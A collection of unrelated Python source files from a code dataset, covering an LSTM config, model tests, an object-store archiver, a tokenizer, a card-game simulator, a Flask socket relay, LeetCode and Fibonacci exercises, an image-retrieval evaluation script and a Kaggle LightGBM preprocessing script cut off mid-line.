pass","sub_path":"code_pac/premier_league_filewriter.py","file_name":"premier_league_filewriter.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"557186174","text":"import os\nimport torch\nimport pickle\nfrom word_sequence import WordSequence\ntrain_batch_size = 64\ntest_batch_size = 64\n\n# ws = WordSequence()\nws_model_file = \"ws.pkl\"\nif os.path.isfile(ws_model_file):\n ws = pickle.load(open('ws.pkl', 'rb'))\nelse:\n os.system(\"python main.py\")\n print(\"生成字典\")\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nmax_len = 200\nhidden_size = 128\nnum_layers = 2\nbidirectional = True\ndropout = 0.4\n\n","sub_path":"8.lstm-imdb/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"470538196","text":"import pickle\n\nimport numpy as np\nimport numpy.testing as npt\nimport tensorflow as tf\nfrom tensorflow_core.python.keras.models import load_model\n\nfrom mowgli.model import datasets\nfrom mowgli.model.datasets import reformat_network_dataset, split\nfrom mowgli.utils import constants\n\n\ndef test_should_load_dataset_with_3_entries():\n actual_dataset = datasets.load_dataset(\"tests/resources/dataset.csv\")\n actual_labels, actual_features = next(iter(actual_dataset.batch(3)))\n\n npt.assert_array_equal(actual_labels, np.array([2, 1, 0], dtype=int))\n npt.assert_array_equal(actual_features, np.array([b'foo bar', b'foobar', b'spaghetti'], dtype=object))\n\n\ndef test_should_tokenize_dataset():\n given_dataset = tf.constant(['foo bar.', 'spaghetti'])\n\n actual = datasets.tokenize(given_dataset).to_list()\n expected = [[b'foo', b'bar.'], [b'spaghetti']]\n\n assert expected == actual\n\n\ndef test_should_encode_tokenized_dataset():\n given_dataset = ['foo bar spaghetti', 'spaghetti bar bar']\n actual, vectorizer = datasets.encode_vectorize(given_dataset, 3)\n expected = np.array([[1, 1, 1], [2, 0, 1]])\n npt.assert_array_equal(expected, actual.toarray())\n\n\ndef test_model_should_predict_correct_intent():\n input_str = [\"hi, balu\", \"hola\", \"greetings\", \"show me my leave balance\", \"cancel my leaves\", \"thank you\", \"stupid you\", \"bye\", \"what can you do\"]\n intent_labels = [2, 2, 2, 4, 4, 3, 8, 10, 11]\n vectorizer = pickle.load(open(constants.VECTORIZER_PATH, 'rb'))\n encoded_matrix = vectorizer.transform(input_str).toarray()\n model = load_model(constants.MODEL_PATH)\n print('Encoded Matrix', encoded_matrix)\n result = model.predict(encoded_matrix)\n print('result', result)\n print('result', np.argmax(result, axis=1))\n assert np.sum(np.equal(np.argmax(result, axis=1), np.array(intent_labels))) >= 8\n\n\ntest_model_should_predict_correct_intent()\n","sub_path":"tests/test_datasets.py","file_name":"test_datasets.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"317764522","text":"import mpo_ar_dataobject as _ar\n\nclass mpo_ar_wos(_ar.mpo_ar_dataobject):\n \"\"\"\n A class to construct data objects from objects stored in the WOS object store.\n No file manipulation is done. \n\n This simply creates or returns an existing data object that referes to a \n particular object given the hostname and the objectid\n\n command line syntax:\n mpo create [--protocol=| -p ] wos [--server=|-s ] server-name [--oid=|-o ] object-id\n\n for example:\n mpo create --protocol=wos --server=SERVERNAME --oid=A_Ff3iTD5W-hVA_ICg1Ezj09DzUvZikc1NLN3HC\n \"\"\"\n\n def archive(self, server=None, oid=None, verbose=False):\n if verbose:\n print (\"constructing an wos object for server=%s oid=%s\"%(server,oid,))\n uri = r'wos://%s/objects/%s'%(server,oid,)\n return(uri)\n\n def archive_parse(self, *args):\n import copy\n import argparse\n\n #global filespec options\n self.parser.add_argument('--server','-S',action='store',help='Specify the server.', required=True)\n self.parser.add_argument('--oid','-o',action='store',help='Specify the object id.', required=True)\n try:\n ans = self.parser.parse_args(*args)\n except SystemExit:\n return None\n return copy.deepcopy(ans.__dict__)\n\n\n def restore(self, uri=None, verbose=False):\n if verbose:\n print(\"NOOP ! restoring an wos data object uri = %s\"%(uri,))\n if uri==None :\n raise Exceptions(\"MDSplus Restore - must specifiy a URI\")\n return uri\n\n def ls(self, uri=None, verbose=False):\n if verbose:\n print(\"listing a wos data object uri = %s\"%(uri,))\n return uri\n","sub_path":"client/python/mpo_ar_wos.py","file_name":"mpo_ar_wos.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"392016899","text":"import sys\n\nwith open(sys.argv[1], encoding='utf8') as f:\n\tdictionary = sorted([l.strip() for l in f], key=len, reverse=True)\n\t# последний символ словаря ока��ывался пустым, поэтому у меня была проблема\n\tdictionary = dictionary[:-1]\n\ndef tokenize(sentence):\n\tif len(sentence) == 0:\n\t\treturn []\n\tfor word in dictionary:\n\t\tif sentence.startswith(word):\n\t\t\treturn [word] + tokenize(sentence[len(word):])\n\n\treturn [sentence[0]] + tokenize(sentence[1:])\n\nfor sentence in sys.stdin:\n\tfor word in tokenize(sentence):\n\t\tprint(word)","sub_path":"2018-komp-ling/practicals/tokenization_first_practical/max_match.py","file_name":"max_match.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"63570049","text":"import sys\nimport SolitaireBoard as SB\n\ndef userInput() -> list:\n isValidInput = False\n boardInputReader = []\n \n print(\"Number of total cards is\", SB.SolitaireBoard.CARD_TOTAL)\n print(\"You will be entering the initial configuration of the cards (i.e., how many in each pile).\")\n \n while(not isValidInput):\n isValidInt = True\n boardInputReader.clear()\n boardConfig = input(\"Please enter a space-separated list of positive integers followed by newline:\")\n boardConfigArray = boardConfig.split()\n for i in range(len(boardConfigArray)):\n if boardConfigArray[i].isnumeric() and int(boardConfigArray[i]) != 0:\n boardInputReader.append(int(boardConfigArray[i]))\n else:\n isValidInt = False\n if not isValidInt:\n isValidInput = False\n print(\"ERROR: Each pile must have at least one card and the total number of cards must be\",SB.SolitaireBoard.CARD_TOTAL)\n else:\n if sum(boardInputReader) == SB.SolitaireBoard.CARD_TOTAL:\n isValidInput = True\n else:\n isValidInput = False\n print(\"ERROR: Each pile must have at least one card and the total number of cards must be\",SB.SolitaireBoard.CARD_TOTAL)\n\n return boardInputReader\n\nif __name__ == '__main__':\n singleStep = False\n userConfig = False\n\n solitaireSteps = 0\n\n BulgarianSolitaireBoard = None\n \n for i in range(1, len(sys.argv[1:])+1):\n if sys.argv[i] == \"-u\":\n userConfig = True\n if sys.argv[i] == \"-s\":\n singleStep = True\n \n if userConfig:\n BulgarianSolitaireBoard = SB.SolitaireBoard(userInput())\n print(\"Initial configuration:\", BulgarianSolitaireBoard.configString())\n else:\n BulgarianSolitaireBoard = SB.SolitaireBoard()\n print(\"Initial configuration:\", BulgarianSolitaireBoard.configString())\n \n while not BulgarianSolitaireBoard.isDone():\n BulgarianSolitaireBoard.playRound()\n solitaireSteps += 1\n print(\"[\"+str(solitaireSteps)+\"] Current configuration:\", BulgarianSolitaireBoard.configString())\n if singleStep:\n input()\n\n print(\"Done!\")","sub_path":"Bulgarian Solitaire Simulator/Python/BulgarianSolitaireSimulator.py","file_name":"BulgarianSolitaireSimulator.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"647461002","text":"import socket\nfrom flask import Flask, request, render_template\n\napp = Flask(__name__)\nprint(\"Server is created...\")\n@app.route('/')\ndef index():\n return render_template('index.html', value=25)\n\n\n# I've added this method to receive slider updates\n@app.route('/slider_update', methods=['POST', 'GET'])\ndef slider():\n var = request.data\n print(var)\n clientsocket.send(bytes(str(var), \"utf-8\"))\n return render_template('index.html')\n\n@app.route('/slider_act', methods=['POST', 'GET'])\ndef slideract():\n act = request.data\n print(act)\n clientsocket.send(bytes(str(act), \"utf-8\"))\n return render_template('index.html')\n\nif __name__ == \"__main__\":\n s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )\n s.bind((socket.gethostname(), 5000))\n s.listen(5)\n clientsocket, address = s.accept()\n print(f\"Connection from {address} has been established.\")\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"531490334","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 25 23:34:21 2020\n\n973. K Closest Points to Origin (Medium)\n\nWe have a list of points on the plane. Find the K closest points to the origin (0, 0).\n\n(Here, the distance between two points on a plane is the Euclidean distance.)\n\nYou may return the answer in any order. The answer is guaranteed to be unique (except for the order that it is in.)\n\nExample 1:\n\nInput: points = [[1,3],[-2,2]], K = 1\nOutput: [[-2,2]]\nExplanation: \nThe distance between (1, 3) and the origin is sqrt(10).\nThe distance between (-2, 2) and the origin is sqrt(8).\nSince sqrt(8) < sqrt(10), (-2, 2) is closer to the origin.\nWe only want the closest K = 1 points from the origin, so the answer is just [[-2,2]].\nExample 2:\n\nInput: points = [[3,3],[5,-1],[-2,4]], K = 2\nOutput: [[3,3],[-2,4]]\n(The answer [[-2,4],[3,3]] would also be accepted.)\n \n\nNote:\n\n1 <= K <= points.length <= 10000\n-10000 < points[i][0] < 10000\n-10000 < points[i][1] < 10000\n\n@author: xingya\n\"\"\"\nimport heapq\n\nclass Solution(object):\n def kClosest(self, points, k):\n \"\"\"\n :type points: List[List[int]]\n :type K: int\n :rtype: List[List[int]]\n \"\"\"\n \n heap = []\n for x in points:\n heapq.heappush(heap, (x[0]**2 + x[1]**2, x))\n \n output = []\n for i in range(k):\n output.append(heapq.heappop(heap)[1])\n \n return output\n\npoints = [[3,3],[5,-1],[-2,4]]\nk = 2 \ns = Solution()\nprint(s.kClosest(points, k)) \n\n\"\"\"\nRuntime: 592 ms, faster than 87.37% of Python online submissions for K Closest Points to Origin.\nMemory Usage: 19.6 MB, less than 15.85% of Python online submissions for K Closest Points to Origin.\n\"\"\"\n \nclass Solution2(object):\n def kClosest(self, points, k):\n \"\"\"\n :type points: List[List[int]]\n :type K: int\n :rtype: List[List[int]]\n \"\"\" \n points.sort(key = lambda x : x[0]**2+ x[1]**2)\n return points[:k]\n\npoints =[[1,3],[-2,2]]\nk = 1 \ns = Solution2()\nprint(s.kClosest(points, k)) \n\n\"\"\"\nRuntime: 528 ms, faster than 100.00% of Python online submissions for K Closest Points to Origin.\nMemory Usage: 19.4 MB, less than 23.05% of Python online submissions for K Closest Points to Origin. \n\"\"\" \n ","sub_path":"List/kClosest.py","file_name":"kClosest.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"315410316","text":"def element_wise_add(first, second):\n return [x+y for x, y in zip(first, second)]\n\ndef fib_counter(n):\n fib = [[0,0] for _ in range(41)]\n fib[0] = [1,0]\n fib[1] = [0,1]\n for num in range(2, n+1):\n fib[num] = element_wise_add(fib[num-1], fib[num-2])\n return fib\n \n################################# \nnum_list = []\nfor _ in range(int(input())):\n num_list.append(int(input()))\n\nfib = fib_counter(40)\nfor n in num_list:\n print(fib[n])\n \n\n# def fib_lsh(n):\n# fib = [[0,0] for _ in range(41)]\n# fib[0] = [1,0]\n# fib[1] = [0,1]\n# def fib_cal_down_to_up(n, fib):\n# if n == 0:\n \n# return fib[n-1] + fib[n-2]\n\n# # print(fib[0])\n# # print(fib[1])\n\n# ## ================================\n# ## test code\n# # def fibonacci(n):\n# # if (n==0):\n# # print(\"0\")\n# # return 0\n# # elif (n==1):\n# # print(\"1\")\n# # return 1\n# # else :\n# # return fibonacci(n-1) + fibonacci(n-2)\n\n# # def fibonacci_global_variable(n):\n# # global s0\n# # global s1\n# # if (n==0):\n# # s0 = s0+1\n# # return 0\n# # elif (n==1):\n# # s1 = s1+1\n# # return 1\n# # else :\n# # return fibonacci_global_variable(n-1) + fibonacci_global_variable(n-2)\n\n# # global s0\n# # global s1\n# # s0 = 0\n# # s1 = 0 \n# # f = fibonacci_global_variable(40)\n# # print(f)\n# # print(s0, s1)\n\n\n# def fibonacci_with_dynamic_counter(n):\n \n# def add_by_list_element(list_x, list_y):\n# return [list_x[0] + list_y[0], list_x[1] + list_y[1]]\n# def fibonacci_global_variable(n, now, fib_save_list):\n# if (now == n+1):\n# return\n# else : \n# fib_save_list[now] = add_by_list_element(fib_save_list[now-1], fib_save_list[now-2])\n# return fibonacci_global_variable(n, now+1, fib_save_list)\n \n\n# if (n == 0):\n# answer = [1, 0]\n# elif (n == 1):\n# answer = [0, 1]\n# else : \n# fib_save_list = [[0,0] for _ in range(n+1)]\n# fib_save_list[0] = [1,0]\n# fib_save_list[1] = [0,1]\n \n# fibonacci_global_variable(n, 2, fib_save_list)\n# answer = fib_save_list[n] \n \n# print(answer[0], answer[1])\n\n\n# if __name__ == \"__main__\":\n# for _ in range(int(input())):\n# fibonacci_with_dynamic_counter(int(input()))\n\n# # c0=[1,0,1]\n# # c1=[0,1,1]\n\n# # def fibo(n):#6\n# # l=len(c0)#3\n# # if l<=n:\n# # for i in range(l,n+1):\n# # c0.append(c0[i-1]+c0[i-2])\n# # c1.append(c1[i-1]+c1[i-2])\n# # print('%d %d'%(c0[n],c1[n]))\n# # for _ in range(int(input())):\n# # fibo(int(input()))","sub_path":"python/1003_피보나치.py","file_name":"1003_피보나치.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"557742556","text":"# call this script with `python -m evaluation.evaluate_poselines_globalaction`\nimport numpy as np\nfrom numpy.core.fromnumeric import sort\nimport pandas as pd\nimport datetime\nimport torch\nfrom torch.functional import norm\nfrom tqdm import tqdm\nfrom . import eval_utils\n\nfrom .compare_deepfeatures import negative_cosine_dist_flatten\n\nfrom compoelem.config import config\nfrom compoelem.compare.pose_line import compare_pose_lines_2, compare_pose_lines_3, filter_pose_line_ga_result\nfrom compoelem.compare.normalize import minmax_norm_by_imgrect, minmax_norm_by_bbox, norm_by_global_action\n\ndef compare_combinedSetupA(data, sort_method):\n res_metrics = {}\n for query_data in tqdm(data, total=len(data)):\n compare_results = []\n query_pose_lines_seq = norm_by_global_action(query_data[\"compoelem\"][\"pose_lines\"], query_data[\"compoelem\"][\"global_action_lines\"])\n for target_data in data:\n if query_data[\"className\"] == target_data[\"className\"] and query_data[\"imgName\"] == target_data[\"imgName\"]:\n continue\n target_pose_lines_seq = norm_by_global_action(target_data[\"compoelem\"][\"pose_lines\"], target_data[\"compoelem\"][\"global_action_lines\"])\n pair_compare_results = []\n # include deep features:\n n_cos = negative_cosine_dist_flatten(query_data[\"imageNet_vgg19_bn_features\"], target_data[\"imageNet_vgg19_bn_features\"])\n\n for query_pose_lines in query_pose_lines_seq:\n for target_pose_lines in target_pose_lines_seq:\n combined_ratio, hit_ratio, mean_distance_hits = compare_pose_lines_3(query_pose_lines, target_pose_lines)\n pair_compare_results.append((combined_ratio, hit_ratio, mean_distance_hits, target_data))\n combined_ratio, hit_ratio, neg_mean_distance_hits, target_data = filter_pose_line_ga_result(pair_compare_results)\n nccr1 = n_cos*(1-combined_ratio) #only works with compare_pose_lines_3\n nccr2 = n_cos+(1-combined_ratio) #only works with compare_pose_lines_3\n compare_results.append((combined_ratio, hit_ratio, neg_mean_distance_hits, n_cos, nccr1, nccr2, target_data))\n compare_results = np.array(compare_results)\n sorted_compare_results = sort_method(compare_results)\n\n query_label = query_data[\"className\"]\n res_labels = list(map(lambda x: x[\"className\"], sorted_compare_results[:,-1]))\n metrics = eval_utils.score_retrievals(query_label, res_labels)\n label = metrics[\"label\"]\n for key in metrics.keys():\n if key != \"label\":\n if key not in res_metrics:\n res_metrics[key] = {}\n if label not in res_metrics[key]:\n res_metrics[key][label] = []\n res_metrics[key][label].append(metrics[key])\n return eval_utils.get_eval_dataframe(res_metrics)\n\n# def lexsort_nccr_nc_hr_asc(compare_results):\n# # (combined_ratio, hit_ratio, mean_distance_hits, n_cos, (n_cos/combined_ratio), target_data)\n# sorted_compare_results = compare_results[np.lexsort((compare_results[:,4], compare_results[:,3], compare_results[:,1]))]\n# return sorted_compare_results\n\n#TODO: def lexsort_hr_nc_asc(compare_results): #\n\ndef lexsort_nc_hr_asc(compare_results):\n # (combined_ratio, hit_ratio, mean_distance_hits, n_cos, (n_cos/combined_ratio), target_data)\n sorted_compare_results = compare_results[np.lexsort((compare_results[:,3], compare_results[:,1]))]\n return sorted_compare_results\n\n# def sort_ncos(compare_results): #ncos2 --> deep only\n# # (combined_ratio, hit_ratio, mean_distance_hits, n_cos, (n_cos/combined_ratio), target_data)\n# # sorted_compare_results = compare_results[np.lexsort(compare_results[:,3])] #ncos3\n# sorted_compare_results = compare_results[np.argsort(compare_results[:,3])]\n# return sorted_compare_results\n\ndef sort_nccr1(compare_results): # experiment id was wrong: cA|sortNcHr;...|nccr => should be cA|nccr\n # (combined_ratio, hit_ratio, neg_mean_distance_hits, n_cos, nccr1, nccr2, target_data)\n sorted_compare_results = compare_results[np.argsort(compare_results[:, 4])]\n return sorted_compare_results\n\ndef sort_nccr2(compare_results): # experiment id was wrong: cA|sortNcHr;...|nccr2 => should be cA|nccr2\n # (combined_ratio, hit_ratio, neg_mean_distance_hits, n_cos, nccr1, nccr2, target_data)\n sorted_compare_results = compare_results[np.argsort(compare_results[:, 5])]\n return sorted_compare_results\n\n#TODO\ndef lexsort_ncos_cr(compare_results): #sortNcosCr\n # (combined_ratio, hit_ratio, mean_distance_hits, n_cos, nccr, nccr2, target_data)\n ncos = compare_results[:,3]\n cr = compare_results[:,0]\n sorted_compare_results = compare_results[np.lexsort((-cr,ncos))]\n # lexsort indices are reversed\n # primary level of sorting: ncos\n # secondary level of sorting: cr\n return sorted_compare_results\n\ndef lexsort_ncosBuckets1_cr(compare_results): #sortNcosNCr\n # (combined_ratio, hit_ratio, mean_distance_hits, n_cos, nccr, nccr2, target_data)\n precision = 1 #sortNcosB2Cr\n ncos = np.array(list(map(lambda x: np.round(x, precision), compare_results[:,3])))\n cr = compare_results[:,0]\n sorted_compare_results = compare_results[np.lexsort((-cr,ncos))]\n # lexsort indices are reversed\n # primary level of sorting: ncos\n # secondary level of sorting: cr\n return sorted_compare_results\n\ndef lexsort_ncosBuckets2_cr(compare_results): #sortNcosNCr\n # (combined_ratio, hit_ratio, mean_distance_hits, n_cos, nccr, nccr2, target_data)\n precision = 2 #sortNcosB2Cr\n ncos = np.array(list(map(lambda x: np.round(x, precision), compare_results[:,3])))\n cr = compare_results[:,0]\n sorted_compare_results = compare_results[np.lexsort((-cr,ncos))]\n # lexsort indices are reversed\n # primary level of sorting: ncos\n # secondary level of sorting: cr\n return sorted_compare_results\n\ndef lexsort_ncosBuckets3_cr(compare_results): #sortNcosNCr\n # (combined_ratio, hit_ratio, mean_distance_hits, n_cos, nccr, nccr2, target_data)\n precision = 3 #sortNcosB2Cr\n ncos = np.array(list(map(lambda x: np.round(x, precision), compare_results[:,3])))\n cr = compare_results[:,0]\n sorted_compare_results = compare_results[np.lexsort((-cr,ncos))]\n # lexsort indices are reversed\n # primary level of sorting: ncos\n # secondary level of sorting: cr\n return sorted_compare_results\n\ndef eval_all_combinations(datastore, datastore_name):\n # TODO: quick and dirty code needs refactoring to look like compare_compoelem or compare_deepfeatures\n all_res_metrics = []\n for sort_method in [sort_nccr1, sort_nccr2, sort_nccr3, lexsort_ncosBuckets1_cr, lexsort_ncosBuckets2_cr]:\n start_time = datetime.datetime.now()\n experiment_id = \"cA|\"+sort_method.__name__+\";A|ceb|normGlAC|th150;img_vggBn\"\n print(\"EXPERIMENT:\", experiment_id)\n start_time = datetime.datetime.now()\n eval_dataframe = compare_combinedSetupA(list(datastore.values()), sort_method)\n all_res_metrics.append({\n \"combinedSetup\": \"compare_combinedSetupA\",\n \"experiment_id\": experiment_id,\n \"sort_method\": sort_method.__name__,\n \"config\": config,\n \"datetime\": start_time,\n \"eval_time_s\": (datetime.datetime.now() - start_time).seconds,\n \"datastore_name\": datastore_name,\n \"eval_dataframe\": eval_dataframe,\n \"combined\":True,\n \"new\": True,\n })\n # start_time = datetime.datetime.now()\n # experiment_id = \"cA|sortNcosB2Cr;A|ceb|normGlAC|th150;img_vggBn\"\n # print(\"EXPERIMENT:\", experiment_id)\n # start_time = datetime.datetime.now()\n # eval_dataframe = compare_combinedSetupA(list(datastore.values()), lexsort_ncosBuckets2_cr)\n # all_res_metrics.append({\n # \"experiment_id\": experiment_id,\n # \"config\": config,\n # \"datetime\": start_time,\n # \"eval_time_s\": (datetime.datetime.now() - start_time).seconds,\n # \"datastore_name\": datastore_name,\n # \"eval_dataframe\": eval_dataframe,\n # \"new\": True,\n # })\n # start_time = datetime.datetime.now()\n # experiment_id = \"cA|sortNcosB3Cr;A|ceb|normGlAC|th150;img_vggBn\"\n # print(\"EXPERIMENT:\", experiment_id)\n # start_time = datetime.datetime.now()\n # eval_dataframe = compare_combinedSetupA(list(datastore.values()), lexsort_ncosBuckets3_cr)\n # all_res_metrics.append({\n # \"experiment_id\": experiment_id,\n # \"config\": config,\n # \"datetime\": start_time,\n # \"eval_time_s\": (datetime.datetime.now() - start_time).seconds,\n # \"datastore_name\": datastore_name,\n # \"eval_dataframe\": eval_dataframe,\n # \"new\": True,\n # })\n # experiment_id = \"cA|sortNcHr;A|ceb|normGlAC|th150;img_vggBn|ncos\"\n # print(\"EXPERIMENT:\", experiment_id)\n # start_time = datetime.datetime.now()\n # eval_dataframe = compare_combinedSetupA(list(datastore.values()), lexsort_nc_hr_asc)\n # all_res_metrics.append({\n # \"experiment_id\": experiment_id,\n # \"config\": config,\n # \"datetime\": start_time,\n # \"eval_time_s\": (datetime.datetime.now() - start_time).seconds,\n # \"datastore_name\": datastore_name,\n # \"eval_dataframe\": eval_dataframe,\n # \"new\": True,\n # })\n # experiment_id = \"cA|sortNccrNcHr;A|ceb|normGlAC|th150;img_vggBn|ncos\"\n # print(\"EXPERIMENT:\", experiment_id)\n # start_time = datetime.datetime.now()\n # eval_dataframe = compare_combinedSetupA(list(datastore.values()), lexsort_nccr_nc_hr_asc)\n # all_res_metrics.append({\n # \"experiment_id\": experiment_id,\n # \"config\": config,\n # \"datetime\": start_time,\n # \"eval_time_s\": (datetime.datetime.now() - start_time).seconds,\n # \"datastore_name\": datastore_name,\n # \"eval_dataframe\": eval_dataframe,\n # \"new\": True,\n # })\n return all_res_metrics\n","sub_path":"evaluation/old_compare/compare_combined_vgg19.py","file_name":"compare_combined_vgg19.py","file_ext":"py","file_size_in_byte":9989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"508158274","text":"import sys\nimport os\nfrom datetime import datetime\nimport logging\nfrom timeit import default_timer as timer\n\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import StratifiedKFold\n\n\"\"\"\n- Missing Value Handling\n - Filled with missing_binary, missing_nom for binary and nominal\n - ord_0 : 999\n - ord_1, ord_2, ord_3, ord_4, ord_5 : missing_ord\n - day : 999\n - month : 999\n- PreProcessing\n - ordinal variables\n - ord_1, ord_2, ord_0', 'ord_3', 'ord_4', 'ord_5' : ordered based on string literal\n - Encoding\n - Convereted every variable to Cat type\n - Label Encoding\n- Modeling\n - LGMB\n- Stratified CV with 5 folds\n\"\"\"\n\n\nsys.path.insert(0, \"/home/jupyter/kaggle/cat_in_dat_2_git/cat_in_dat_2/src\")\nimport utility\n\n# First thing first. Set the time zone to City of Joy.\nutility.set_timezone()\n\nstart = timer()\n\n##################\n# PARAMETERS\n###################\n\nrun_id = \"{:%m%d_%H%M}\".format(datetime.now())\nKERNEL_RUN = False\nMODEL_NUMBER = os.path.basename(__file__).split('.')[0]\n\n\nDATA_DIR = '/home/jupyter/kaggle/cat_in_dat_2_git/cat_in_dat_2/data/read_only'\nSEED = 42\n\nEXP_DETAILS='Baseline with LGBM, ordinal variables lexically ordered'\n\n# Flags\nIS_TEST=False\nPLOT_FEATURE_IMPORTANCE = True\n\n# General configuration stuff\nLOGGER_NAME = 'modeling'\nLOG_DIR = '../../log'\nSUBMISSION_DIR = '../../sub'\nOOF_DIR = '../../oof'\nFI_DIR = '../../fi'\nFI_FIG_DIR = '../../fi_fig'\n\n# Parameters related to KFold\nN_FOLDS = 5\nSHUFFLE = True\n\n# Parameters related to model\nMODEL_TYPE = \"lgb\"\nMETRIC = 'auc'\nN_ESTIMATORS = 100000\nEARLY_STOPPING_ROUNDS = 100\nVERBOSE = -1\nN_THREADS = -1\n\n# Name of the target\nTARGET = 'target'\n\n# Params \nlgb_params = {\n 'objective' : 'binary',\n 'boosting_type' : 'gbdt',\n 'metric' : METRIC,\n 'num_threads': N_THREADS,\n 'verbose' : VERBOSE,\n 'seed': SEED,\n 'n_estimators' : N_ESTIMATORS,\n 'early_stopping_rounds' : EARLY_STOPPING_ROUNDS\n }\n\nlogger = utility.get_logger(LOGGER_NAME, MODEL_NUMBER, run_id, LOG_DIR)\n\nutility.set_seed(SEED)\nlogger.info(f'Running for Model Number {MODEL_NUMBER}')\n\nutility.update_tracking(run_id, \"model_number\", MODEL_NUMBER, drop_incomplete_rows=True)\nutility.update_tracking(run_id, \"model_type\", MODEL_TYPE)\nutility.update_tracking(run_id, \"model_type\", MODEL_TYPE)\nutility.update_tracking(run_id, \"is_test\", IS_TEST)\nutility.update_tracking(run_id, \"n_estimators\", N_ESTIMATORS)\nutility.update_tracking(run_id, \"early_stopping_rounds\", EARLY_STOPPING_ROUNDS)\nutility.update_tracking(run_id, \"random_state\", SEED)\nutility.update_tracking(run_id, \"n_threads\", N_THREADS)\n#utility.update_tracking(run_id, \"learning_rate\", LEARNING_RATE)\nutility.update_tracking(run_id, \"n_fold\", N_FOLDS)\n\n############################################\n# Preparaing Data\n############################################\n\n#Read the data file\ntrain, test, submission = utility.read_files(logger=logger, dir_path=DATA_DIR, index_col='id')\n\ncombined_df = pd.concat([train.drop('target', axis=1), test])\nlogger.info(f'Shape of the combined DF {combined_df.shape}')\n\ntrain_index = train.shape[0]\ntrain_Y = train[TARGET]\n\n# Fill the missing values\nnom_features = utility.get_fetaure_names(train, 'nom')\nlogger.info(f'Number of nominal features {len(nom_features)}')\nlogger.info(f'Nominal Features : {nom_features}')\n\nbinary_features = utility.get_fetaure_names(train, 'bin')\nlogger.info(f'Number of binary features {len(binary_features)}')\nlogger.info(f'Binary Features : {binary_features}')\n\nordinal_fetaures = utility.get_fetaure_names(train, 'ord')\nlogger.info(f'Number of ordinal features {len(ordinal_fetaures)}')\nlogger.info(f'Ordinal Features : {ordinal_fetaures}')\n\n#Filling missing values\ncombined_df[['bin_3', 'bin_4']] = combined_df[['bin_3', 'bin_4']].fillna('missing_binary')\ncombined_df[['bin_0', 'bin_1', 'bin_2']] = combined_df[['bin_0', 'bin_1', 'bin_2']].fillna(-1)\n\n# Filling nominal variables with missing values\ncombined_df[nom_features] = combined_df[nom_features].fillna('missing_nom')\n\n# ord_0 has apparently value fo type integer. \ncombined_df['ord_0'] = combined_df['ord_0'].fillna(999)\n\n# Fill missing values for other ordinal values\ncombined_df[['ord_1', 'ord_2', 'ord_3', 'ord_4', 'ord_5']] = combined_df[['ord_1', 'ord_2', 'ord_3', 'ord_4', 'ord_5']].fillna('missing_ord')\n\ncombined_df['day'] = combined_df['day'].fillna(999) \ncombined_df['month'] = combined_df['month'].fillna(999)\n\n# List to maintain names\nnew_features = []\nfeatures_to_removed = []\n\n# For ord_1, ord_2 we can decide on the order based on names\n# cat_type_ord_1 = pd.CategoricalDtype(categories=['Novice', 'Contributor', 'Expert', 'Master', 'Grandmaster', 'missing_ord'])\n# combined_df['ord_1_cat'] = combined_df['ord_1'].astype(cat_type_ord_1)\n\n# cat_type_ord_2 = pd.CategoricalDtype(categories=['Freezing', 'Cold', 'Warm', 'Hot', 'Boiling Hot', 'Lava Hot', 'missing_ord'])\n# combined_df['ord_2_cat'] = combined_df['ord_2'].astype(cat_type_ord_2)\n\n# new_features = new_features + ['ord_1_cat', 'ord_2_cat']\n# features_to_removed = features_to_removed + ['ord_1', 'ord_2']\n\n# Convert rest of the ordinal features in categories \nfor feature_name in ['ord_0', 'ord_1', 'ord_2', 'ord_3', 'ord_4', 'ord_5']:\n logger.info(f'Converting {feature_name} in ordered categorical')\n combined_df[feature_name + '_cat'] = pd.Categorical(combined_df[feature_name], ordered=True)\n new_features = new_features + [feature_name + '_cat']\n features_to_removed = features_to_removed + [feature_name]\n\n# Print the order of the ordinal features\nfor name in utility.get_fetaure_names(combined_df, '_cat'):\n logger.info(f'Categories for feature {name} : {combined_df[name].cat.categories}')\n\nlogger.info(f'List of new_features : {new_features}')\nlogger.info(f'List of features_to_removed : {features_to_removed}')\n\nfeature_list = [name for name in combined_df.select_dtypes(['object', 'float64']) if name not in features_to_removed]\n# Print rest of the variables into categorical\nfor feature_name in feature_list:\n logger.info(f'Converting {feature_name} in categorical')\n combined_df[feature_name + '_cat'] = pd.Categorical(combined_df[feature_name])\n new_features = new_features + [feature_name + '_cat']\n features_to_removed = features_to_removed + [feature_name]\n\n# Keep a copy of the original DF\ncombined_df_org = combined_df.copy(deep=True)\n\n# remove the features not needed\ncombined_df = combined_df.drop(features_to_removed, axis=1)\n\nfor name in combined_df.columns:\n lb = LabelEncoder()\n combined_df[name] = lb.fit_transform(combined_df[name])\n\ntrain_X = combined_df[:train_index]\ntest_X = 